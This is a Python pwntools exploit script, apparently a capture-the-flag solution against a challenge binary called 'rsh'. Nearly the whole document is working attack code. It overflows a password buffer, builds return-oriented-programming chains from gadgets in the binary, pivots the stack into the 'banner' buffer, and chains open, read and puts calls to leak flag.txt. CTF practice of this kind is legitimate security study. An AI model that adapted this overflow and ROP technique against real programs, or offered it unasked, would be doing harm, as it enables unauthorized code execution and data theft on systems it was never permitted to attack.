#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host hod-ctf.sito.org --port 4444 rsh from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF(args.EXE or 'rsh') # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable host = args.HOST or 'localhost' port = int(args.PORT or 8888) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' source /usr/share/pwndbg/gdbinit.py tbreak main break remote_shell break *0x40128a continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) # Stripped: No context.terminal = ['tmux', 'splitw', '-h'] string_addr = exe.search(b'password').__next__() pop_rdi = exe.search(asm('pop rdi; ret', arch='amd64')).__next__() pop_rsi = exe.search(asm('pop rsi; ret', arch='amd64')).__next__() pop_rdx = exe.search(asm('pop rdx; ret', arch='amd64')).__next__() pop_rbp = exe.search(asm('pop rbp; ret', arch='amd64')).__next__() leave = exe.search(asm('leave; ret', arch='amd64')).__next__() rsp_8 = exe.search(asm('pop rdx; ret', arch='amd64')).__next__() puts_banner = 0x4012f6 fake_stack = exe.sym['banner'] + 256 rop1 = ROP(exe) # write flag.txt in banner rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']]) write_fake_stack = ROP(exe) # write the longer chain into the part that will be our fake stack write_fake_stack.raw([pop_rsi, fake_stack, pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']]) rop2 = ROP(exe) # rsp == fake_stack (banner + 256) rop2.raw([pop_rbp, fake_stack, leave]) # chain to open flag.txt, read it and print it, then exit nicely chain = [0xdeadbeef, pop_rdi, exe.sym['banner'], pop_rsi, 0, exe.sym['open'], pop_rdi, 3, pop_rsi, exe.sym['banner'], pop_rdx, 0xff, exe.sym['read']] chain += [pop_rdi, exe.sym['banner'], exe.sym['puts'], exe.sym['exit']] long_chain = ROP(exe) long_chain.raw(chain) def cycle(rop): io.recvuntil(b'login: ') io.sendline(b'A'*31) io.recvuntil(b'password: ') payload = secret_pwd + b'P' * off payload += rop.chain() io.sendline(payload.ljust(128-1, b'P')) sleep(0.2) secret_pwd = b'super_secret_password' username_len = 128 # offset to overwrite the return address off = cyclic_find('anaa') io = start() # write flag.txt in banner cycle(rop1) io.sendline(b'flag.txt') cycle(write_fake_stack) io.sendline(long_chain.chain()) # return to the fake stack cycle(rop2) # flag is in stdout io.interactive()